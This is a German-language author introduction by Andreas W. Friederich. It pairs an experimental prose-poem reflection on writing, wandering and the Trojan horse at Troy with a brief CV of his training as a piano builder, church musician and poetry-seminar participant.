Andreas W. Friederich

Wander er   geb. 1943, kommst du nach Troja—ein Pferd brachte wer—das Meer – ist nicht mehr
„es geschehen seltsame Dinge
warum denn schreiben.
Die Frage stellt sich nach erfolgreichem Überfall. Vom Gefallen in doppeltem Wortsinn, ins Verfallensein, wie ein belangloses Ameisenhafte. Aus jeder Ecke ein Aufmerkstich, ein Erinnerungsstich ,ein gedankenzupfendes Lächeln blattgewandt.- Ausrufezeichen.-
Lorbeer und Lobehr sind eher Zufall.

Als Musiker war ich anfangs der strengen“ Harmonielehre“ untertan, (und deswegen beschreibe ich den Prozess) aus melodisch, romantischen Bildern wurden Auszüge sprachgeraffter Stationen in die Schnittstellen der zeilenliebenden Zwischenwelten hinein.

„Einem sich findenden  essayistischem Wandern und experimentellem Erkunden“
(Pörksen)

Lesen sie die Geschichten mit eigen zufüllendem Ausgesparten anders. Zeilenübergänge freiheiten, gestatten einen Blick rückwärts, gewendet auf gleicher Sohle. Wie war das mit der Meeresküstenerwartung vor Troja? Der Wanderer erwartet die Dardanellen .Er entdeckte das trojanische Pferd. Dies wird mit ihm und seiner Weiterreise zum Geheimnis. Eine Situation wie in den ausgelassenen Wortbrücken, Wortbrüchen, dem färbenden Wortsinn. Auch wir suchen.
Grillparzer 1855 an Hegel- „was mir an deinem System am besten gefällt? Es ist so unverständlich wie die Welt.“ Hallo.
Ich schüttle dem Leser grinsend die Hand und da sie sie schon halten, stelle ich vor:

Fachausbildung zum Klavierbauer, endend mit der Meisterschule. Studium der Kirchenmusik in Bayreuth und in Frankfurt an der Hochschule für Musik und darstellende Kunst (Hauptfaecher: Orgel ,Dirigieren und  Komposition). Studium der Privatmusik in Flöte, Gesang ,und Lehrbefähigung). Hauptamtlicher Kirchenmusiker Ffm.

Goethe Universität. Ffm. Lyrik  Seminare.  re(e)nt(n)ert sich kunst  voll

gelocktes Bild

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